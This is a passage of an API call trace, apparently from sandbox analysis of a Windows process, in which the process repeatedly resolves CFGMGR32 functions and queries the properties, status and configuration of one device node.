SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0216.420] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0216.421] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0216.421] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e400, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0216.422] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0216.422] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0216.423] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.423] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.428] malloc (_Size=0x18) returned 0x196ef0d20e0 [0216.428] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0216.428] malloc (_Size=0x48) returned 0x196ef0fba40 [0216.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x61da772c, dwHighDateTime=0x1d9eb0c)) [0216.428] SetEvent (hEvent=0x248) returned 1 [0216.433] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.433] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.438] malloc (_Size=0x18) returned 0x196ef0d1f20 [0216.438] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0216.445] malloc (_Size=0x48) returned 0x196ef0fba40 [0216.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61dcd6de, dwHighDateTime=0x1d9eb0c)) [0216.445] SetEvent (hEvent=0x248) returned 1 [0216.617] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.617] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.622] malloc (_Size=0x18) returned 0x196ef0d20a0 [0216.622] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0216.622] malloc (_Size=0x48) returned 0x196ef0fbd60 [0216.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61f973b8, dwHighDateTime=0x1d9eb0c)) [0216.623] SetEvent (hEvent=0x248) returned 1 [0216.628] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.628] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.628] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.632] malloc (_Size=0x18) returned 0x196ef0d1d60 [0216.633] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0216.633] malloc (_Size=0x48) returned 0x196ef0fb400 [0216.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61f973b8, dwHighDateTime=0x1d9eb0c)) [0216.634] SetEvent (hEvent=0x248) returned 1 [0216.638] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.638] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.638] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.638] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.642] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0216.642] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0216.642] malloc (_Size=0x48) returned 0x196ef0fbef0 [0216.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61fbf0dd, dwHighDateTime=0x1d9eb0c)) [0216.643] SetEvent (hEvent=0x248) returned 1 [0216.649] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.649] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.653] malloc (_Size=0x18) returned 0x196ef0d1f60 [0216.653] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0216.657] malloc (_Size=0x48) returned 0x196ef0fbae0 [0216.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61fe3a3a, dwHighDateTime=0x1d9eb0c)) [0216.658] SetEvent (hEvent=0x248) returned 1 [0216.825] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.826] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.829] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0216.829] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xc, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0216.829] malloc (_Size=0x48) returned 0x196ef0fbc20 [0216.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x62188831, dwHighDateTime=0x1d9eb0c)) [0216.830] SetEvent (hEvent=0x248) returned 1 [0216.835] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.835] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.840] malloc (_Size=0x18) returned 0x196ef0d1be0 [0216.841] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xc, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0216.841] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0216.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x621b395c, dwHighDateTime=0x1d9eb0c)) [0216.843] SetEvent (hEvent=0x248) returned 1 [0216.849] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.850] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.851] GetProcAddress (hModule=0x7ffa786c0000, 